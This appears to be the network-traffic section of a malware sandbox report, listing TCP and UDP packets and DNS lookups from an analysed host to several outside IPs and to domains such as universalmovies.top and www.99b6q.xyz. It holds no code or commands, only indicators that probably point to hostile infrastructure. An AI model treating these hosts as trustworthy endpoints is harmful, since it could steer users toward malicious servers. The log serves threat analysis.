May 20, 2024 08:54:31.158497095 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158524990 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158529997 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158570051 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158811092 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158844948 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158864975 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158879042 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158907890 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158912897 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158917904 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158946037 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158952951 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158979893 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158987999 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159014940 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159022093 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159049034 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159055948 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159084082 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159092903 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159120083 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159125090 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159159899 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159405947 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159440041 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159460068 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159473896 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159483910 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159509897 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159516096 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159544945 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159552097 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159580946 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159586906 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159615993 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159622908 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159650087 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159657001 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159683943 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159693003 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159718990 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.159725904 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.159759998 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160023928 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160058022 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160078049 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160090923 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160098076 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160139084 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160157919 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160191059 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160209894 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160224915 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160228968 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160259008 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160268068 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160295010 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160300970 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160330057 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160336971 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160375118 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160466909 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160612106 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160629988 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160649061 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160655022 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160686016 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.160691023 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.160727978 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:55.597975969 CEST	49168	80	192.168.2.22	54.38.220.85
May 20, 2024 08:54:55.611907959 CEST	80	49168	54.38.220.85	192.168.2.22
May 20, 2024 08:54:55.612004995 CEST	49168	80	192.168.2.22	54.38.220.85
May 20, 2024 08:54:55.612392902 CEST	49168	80	192.168.2.22	54.38.220.85
May 20, 2024 08:54:55.621834993 CEST	80	49168	54.38.220.85	192.168.2.22
May 20, 2024 08:54:55.621912003 CEST	49168	80	192.168.2.22	54.38.220.85
May 20, 2024 08:54:55.621967077 CEST	80	49168	54.38.220.85	192.168.2.22
May 20, 2024 08:54:55.626281023 CEST	80	49168	54.38.220.85	192.168.2.22
May 20, 2024 08:54:55.631184101 CEST	80	49168	54.38.220.85	192.168.2.22
May 20, 2024 08:54:58.124639034 CEST	49169	80	192.168.2.22	54.38.220.85
May 20, 2024 08:54:58.129699945 CEST	80	49169	54.38.220.85	192.168.2.22
May 20, 2024 08:54:58.129842043 CEST	49169	80	192.168.2.22	54.38.220.85
May 20, 2024 08:54:58.129992962 CEST	49169	80	192.168.2.22	54.38.220.85
May 20, 2024 08:54:58.208924055 CEST	80	49169	54.38.220.85	192.168.2.22
May 20, 2024 08:54:58.800971985 CEST	80	49169	54.38.220.85	192.168.2.22
May 20, 2024 08:54:58.801134109 CEST	49169	80	192.168.2.22	54.38.220.85
May 20, 2024 08:54:59.640058041 CEST	49169	80	192.168.2.22	54.38.220.85
May 20, 2024 08:54:59.651259899 CEST	80	49169	54.38.220.85	192.168.2.22
May 20, 2024 08:55:00.999269009 CEST	49170	80	192.168.2.22	54.38.220.85
May 20, 2024 08:55:01.004230976 CEST	80	49170	54.38.220.85	192.168.2.22
May 20, 2024 08:55:01.004336119 CEST	49170	80	192.168.2.22	54.38.220.85
May 20, 2024 08:55:01.004695892 CEST	49170	80	192.168.2.22	54.38.220.85
May 20, 2024 08:55:01.009542942 CEST	80	49170	54.38.220.85	192.168.2.22
May 20, 2024 08:55:01.009654045 CEST	49170	80	192.168.2.22	54.38.220.85
May 20, 2024 08:55:01.014538050 CEST	80	49170	54.38.220.85	192.168.2.22
May 20, 2024 08:55:01.019243956 CEST	80	49170	54.38.220.85	192.168.2.22
May 20, 2024 08:55:01.069081068 CEST	80	49170	54.38.220.85	192.168.2.22
May 20, 2024 08:55:01.670866013 CEST	80	49170	54.38.220.85	192.168.2.22
May 20, 2024 08:55:01.671057940 CEST	49170	80	192.168.2.22	54.38.220.85
May 20, 2024 08:55:07.722711086 CEST	49170	80	192.168.2.22	54.38.220.85
May 20, 2024 08:55:07.781128883 CEST	80	49170	54.38.220.85	192.168.2.22
May 20, 2024 08:55:08.737056971 CEST	49171	80	192.168.2.22	54.38.220.85
May 20, 2024 08:55:08.747597933 CEST	80	49171	54.38.220.85	192.168.2.22
May 20, 2024 08:55:08.747713089 CEST	49171	80	192.168.2.22	54.38.220.85
May 20, 2024 08:55:08.747915983 CEST	49171	80	192.168.2.22	54.38.220.85
May 20, 2024 08:55:08.752834082 CEST	80	49171	54.38.220.85	192.168.2.22
May 20, 2024 08:55:08.752943993 CEST	49171	80	192.168.2.22	54.38.220.85
May 20, 2024 08:55:08.754935026 CEST	49171	80	192.168.2.22	54.38.220.85
May 20, 2024 08:55:08.757704020 CEST	80	49171	54.38.220.85	192.168.2.22
May 20, 2024 08:55:08.762553930 CEST	80	49171	54.38.220.85	192.168.2.22
May 20, 2024 08:55:08.812988043 CEST	80	49171	54.38.220.85	192.168.2.22
May 20, 2024 08:55:13.857461929 CEST	49172	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:13.867017984 CEST	80	49172	194.9.94.86	192.168.2.22
May 20, 2024 08:55:13.867098093 CEST	49172	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:13.867309093 CEST	49172	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:13.876718044 CEST	80	49172	194.9.94.86	192.168.2.22
May 20, 2024 08:55:13.876796007 CEST	49172	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:13.881443977 CEST	80	49172	194.9.94.86	192.168.2.22
May 20, 2024 08:55:13.936994076 CEST	80	49172	194.9.94.86	192.168.2.22
May 20, 2024 08:55:14.517338991 CEST	80	49172	194.9.94.86	192.168.2.22
May 20, 2024 08:55:14.519736052 CEST	80	49172	194.9.94.86	192.168.2.22
May 20, 2024 08:55:14.519771099 CEST	80	49172	194.9.94.86	192.168.2.22
May 20, 2024 08:55:14.519804955 CEST	80	49172	194.9.94.86	192.168.2.22
May 20, 2024 08:55:14.519906998 CEST	49172	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:14.519906998 CEST	49172	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:14.524478912 CEST	80	49172	194.9.94.86	192.168.2.22
May 20, 2024 08:55:14.529215097 CEST	80	49172	194.9.94.86	192.168.2.22
May 20, 2024 08:55:14.529293060 CEST	49172	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:15.377993107 CEST	49172	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:16.392143965 CEST	49173	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:16.404548883 CEST	80	49173	194.9.94.86	192.168.2.22
May 20, 2024 08:55:16.404845953 CEST	49173	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:16.405143023 CEST	49173	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:16.414685965 CEST	80	49173	194.9.94.86	192.168.2.22
May 20, 2024 08:55:16.414742947 CEST	49173	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:16.417630911 CEST	80	49173	194.9.94.86	192.168.2.22
May 20, 2024 08:55:16.423718929 CEST	80	49173	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.122586012 CEST	49174	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:19.127557993 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.127625942 CEST	49174	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:19.127932072 CEST	49174	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:19.132823944 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.132879972 CEST	49174	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:19.137648106 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.142347097 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.193816900 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.799331903 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.799351931 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.799715042 CEST	49174	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:19.801779032 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.804297924 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.804316998 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.804348946 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.804367065 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.804409027 CEST	49174	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:19.804533958 CEST	49174	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:19.809060097 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.809420109 CEST	49174	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:19.814682007 CEST	80	49174	194.9.94.86	192.168.2.22
May 20, 2024 08:55:19.815005064 CEST	49174	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:20.011558056 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:55:20.019905090 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:55:20.020005941 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:55:20.645982027 CEST	49174	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:21.649389982 CEST	49175	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:21.654356003 CEST	80	49175	194.9.94.86	192.168.2.22
May 20, 2024 08:55:21.654422998 CEST	49175	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:21.654726028 CEST	49175	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:21.673979044 CEST	80	49175	194.9.94.86	192.168.2.22
May 20, 2024 08:55:22.356550932 CEST	80	49175	194.9.94.86	192.168.2.22
May 20, 2024 08:55:22.362170935 CEST	80	49175	194.9.94.86	192.168.2.22
May 20, 2024 08:55:22.362186909 CEST	80	49175	194.9.94.86	192.168.2.22
May 20, 2024 08:55:22.362201929 CEST	80	49175	194.9.94.86	192.168.2.22
May 20, 2024 08:55:22.362413883 CEST	49175	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:22.366945028 CEST	80	49175	194.9.94.86	192.168.2.22
May 20, 2024 08:55:22.366986990 CEST	80	49175	194.9.94.86	192.168.2.22
May 20, 2024 08:55:22.367000103 CEST	80	49175	194.9.94.86	192.168.2.22
May 20, 2024 08:55:22.367039919 CEST	80	49175	194.9.94.86	192.168.2.22
May 20, 2024 08:55:22.367104053 CEST	49175	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:22.367104053 CEST	49175	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:22.367474079 CEST	49175	80	192.168.2.22	194.9.94.86
May 20, 2024 08:55:22.410319090 CEST	80	49175	194.9.94.86	192.168.2.22
May 20, 2024 08:55:27.403753042 CEST	49176	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:27.408827066 CEST	80	49176	91.195.240.19	192.168.2.22
May 20, 2024 08:55:27.408891916 CEST	49176	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:27.409249067 CEST	49176	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:27.414136887 CEST	80	49176	91.195.240.19	192.168.2.22
May 20, 2024 08:55:27.414730072 CEST	49176	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:27.465049028 CEST	80	49176	91.195.240.19	192.168.2.22
May 20, 2024 08:55:27.469695091 CEST	80	49176	91.195.240.19	192.168.2.22
May 20, 2024 08:55:28.918831110 CEST	49176	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:28.932301998 CEST	80	49176	91.195.240.19	192.168.2.22
May 20, 2024 08:55:28.932368040 CEST	49176	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:29.935611010 CEST	49177	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:29.940828085 CEST	80	49177	91.195.240.19	192.168.2.22
May 20, 2024 08:55:29.940939903 CEST	49177	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:29.941282034 CEST	49177	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:29.998286963 CEST	80	49177	91.195.240.19	192.168.2.22
May 20, 2024 08:55:30.600327015 CEST	80	49177	91.195.240.19	192.168.2.22
May 20, 2024 08:55:30.605024099 CEST	80	49177	91.195.240.19	192.168.2.22
May 20, 2024 08:55:30.605137110 CEST	49177	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:31.445918083 CEST	49177	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:32.469595909 CEST	49178	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:32.482845068 CEST	80	49178	91.195.240.19	192.168.2.22
May 20, 2024 08:55:32.483043909 CEST	49178	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:32.483613014 CEST	49178	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:32.492508888 CEST	80	49178	91.195.240.19	192.168.2.22
May 20, 2024 08:55:32.492525101 CEST	80	49178	91.195.240.19	192.168.2.22
May 20, 2024 08:55:32.492613077 CEST	49178	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:32.497374058 CEST	80	49178	91.195.240.19	192.168.2.22
May 20, 2024 08:55:32.545089960 CEST	80	49178	91.195.240.19	192.168.2.22
May 20, 2024 08:55:35.002954006 CEST	49179	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:35.008616924 CEST	80	49179	91.195.240.19	192.168.2.22
May 20, 2024 08:55:35.008699894 CEST	49179	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:35.008862019 CEST	49179	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:35.072999954 CEST	80	49179	91.195.240.19	192.168.2.22
May 20, 2024 08:55:35.660337925 CEST	80	49179	91.195.240.19	192.168.2.22
May 20, 2024 08:55:35.665081978 CEST	80	49179	91.195.240.19	192.168.2.22
May 20, 2024 08:55:35.665227890 CEST	49179	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:35.665227890 CEST	49179	80	192.168.2.22	91.195.240.19
May 20, 2024 08:55:35.721931934 CEST	80	49179	91.195.240.19	192.168.2.22
May 20, 2024 08:55:40.703985929 CEST	49180	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:40.713890076 CEST	80	49180	198.12.241.35	192.168.2.22
May 20, 2024 08:55:40.715897083 CEST	49180	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:40.715897083 CEST	49180	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:40.723248959 CEST	80	49180	198.12.241.35	192.168.2.22
May 20, 2024 08:55:40.723274946 CEST	80	49180	198.12.241.35	192.168.2.22
May 20, 2024 08:55:40.727946997 CEST	80	49180	198.12.241.35	192.168.2.22
May 20, 2024 08:55:43.239785910 CEST	49181	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:43.293009043 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:43.293121099 CEST	49181	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:43.301086903 CEST	49181	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:43.311994076 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.029783010 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.031785011 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.031855106 CEST	49181	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:44.036679029 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.036700010 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.036818981 CEST	49181	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:44.041630030 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.041649103 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.041678905 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.041696072 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.041726112 CEST	49181	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:44.041780949 CEST	49181	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:44.051379919 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.051399946 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.051870108 CEST	49181	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:44.053814888 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.053833961 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.057779074 CEST	49181	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:44.059611082 CEST	80	49181	198.12.241.35	192.168.2.22
May 20, 2024 08:55:44.060435057 CEST	49181	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:44.799575090 CEST	49181	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:45.813865900 CEST	49182	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:45.819080114 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:45.819147110 CEST	49182	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:45.819449902 CEST	49182	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:45.824371099 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:45.824445009 CEST	49182	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:45.829345942 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:45.834125042 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:45.884947062 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:46.535566092 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:46.537499905 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:46.537729025 CEST	49182	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:46.542284012 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:46.542306900 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:46.542412043 CEST	49182	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:46.551820040 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:46.551840067 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:46.551909924 CEST	49182	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:46.561337948 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:46.564086914 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:46.564125061 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:46.564146996 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:46.564157009 CEST	49182	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:46.564218044 CEST	49182	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:46.568842888 CEST	80	49182	198.12.241.35	192.168.2.22
May 20, 2024 08:55:46.568957090 CEST	49182	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:47.326950073 CEST	49182	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:48.344868898 CEST	49183	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:48.349787951 CEST	80	49183	198.12.241.35	192.168.2.22
May 20, 2024 08:55:48.349848032 CEST	49183	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:48.350016117 CEST	49183	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:48.388688087 CEST	80	49183	198.12.241.35	192.168.2.22
May 20, 2024 08:55:49.007123947 CEST	80	49183	198.12.241.35	192.168.2.22
May 20, 2024 08:55:49.007141113 CEST	80	49183	198.12.241.35	192.168.2.22
May 20, 2024 08:55:49.007433891 CEST	49183	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:49.007433891 CEST	49183	80	192.168.2.22	198.12.241.35
May 20, 2024 08:55:49.021259069 CEST	80	49183	198.12.241.35	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 20, 2024 08:53:31.811053991 CEST	138	138	192.168.2.22	192.168.2.255
May 20, 2024 08:53:37.247651100 CEST	54562	53	192.168.2.22	8.8.8.8
May 20, 2024 08:53:37.264147043 CEST	53	54562	8.8.8.8	192.168.2.22
May 20, 2024 08:54:15.236864090 CEST	52917	53	192.168.2.22	8.8.8.8
May 20, 2024 08:54:15.253571033 CEST	53	52917	8.8.8.8	192.168.2.22
May 20, 2024 08:54:20.249505043 CEST	62751	53	192.168.2.22	8.8.8.8
May 20, 2024 08:54:20.377545118 CEST	53	62751	8.8.8.8	192.168.2.22
May 20, 2024 08:54:28.446207047 CEST	57893	53	192.168.2.22	8.8.8.8
May 20, 2024 08:54:28.468648911 CEST	53	57893	8.8.8.8	192.168.2.22
May 20, 2024 08:54:28.468862057 CEST	57893	53	192.168.2.22	8.8.8.8
May 20, 2024 08:54:28.495847940 CEST	53	57893	8.8.8.8	192.168.2.22
May 20, 2024 08:54:30.062540054 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:30.824196100 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:31.588586092 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:38.217026949 CEST	54821	53	192.168.2.22	8.8.8.8
May 20, 2024 08:54:38.226855993 CEST	53	54821	8.8.8.8	192.168.2.22
May 20, 2024 08:54:38.227442026 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:38.983073950 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:39.747592926 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:41.528014898 CEST	54719	53	192.168.2.22	8.8.8.8
May 20, 2024 08:54:41.567018986 CEST	53	54719	8.8.8.8	192.168.2.22
May 20, 2024 08:54:41.567686081 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:42.321458101 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:43.085843086 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:44.865616083 CEST	49881	53	192.168.2.22	8.8.8.8
May 20, 2024 08:54:44.911293983 CEST	53	49881	8.8.8.8	192.168.2.22
May 20, 2024 08:54:44.911765099 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:45.675529957 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:46.439860106 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:48.226479053 CEST	54998	53	192.168.2.22	8.8.8.8
May 20, 2024 08:54:48.235728025 CEST	53	54998	8.8.8.8	192.168.2.22
May 20, 2024 08:54:48.236351013 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:48.998296976 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:49.762646914 CEST	137	137	192.168.2.22	192.168.2.255
May 20, 2024 08:54:55.543229103 CEST	52781	53	192.168.2.22	8.8.8.8
May 20, 2024 08:54:55.597292900 CEST	53	52781	8.8.8.8	192.168.2.22
May 20, 2024 08:55:13.788312912 CEST	63926	53	192.168.2.22	8.8.8.8
May 20, 2024 08:55:13.857031107 CEST	53	63926	8.8.8.8	192.168.2.22
May 20, 2024 08:55:27.392148018 CEST	65510	53	192.168.2.22	8.8.8.8
May 20, 2024 08:55:27.403259993 CEST	53	65510	8.8.8.8	192.168.2.22
May 20, 2024 08:55:31.531940937 CEST	138	138	192.168.2.22	192.168.2.255
May 20, 2024 08:55:40.671916962 CEST	62672	53	192.168.2.22	8.8.8.8
May 20, 2024 08:55:40.699604034 CEST	53	62672	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 20, 2024 08:53:37.247651100 CEST	192.168.2.22	8.8.8.8	0xfe64	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:15.236864090 CEST	192.168.2.22	8.8.8.8	0xc306	Standard query (0)	www.besthomeincome24.com	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:20.249505043 CEST	192.168.2.22	8.8.8.8	0xf37d	Standard query (0)	www.terelprime.com	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:28.446207047 CEST	192.168.2.22	8.8.8.8	0xe2e	Standard query (0)	www.sqlite.org	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:28.468862057 CEST	192.168.2.22	8.8.8.8	0xe2e	Standard query (0)	www.sqlite.org	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:38.217026949 CEST	192.168.2.22	8.8.8.8	0x739b	Standard query (0)	www.99b6q.xyz	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:41.528014898 CEST	192.168.2.22	8.8.8.8	0x8abe	Standard query (0)	www.99b6q.xyz	A (IP address)	IN (0x0001)	false
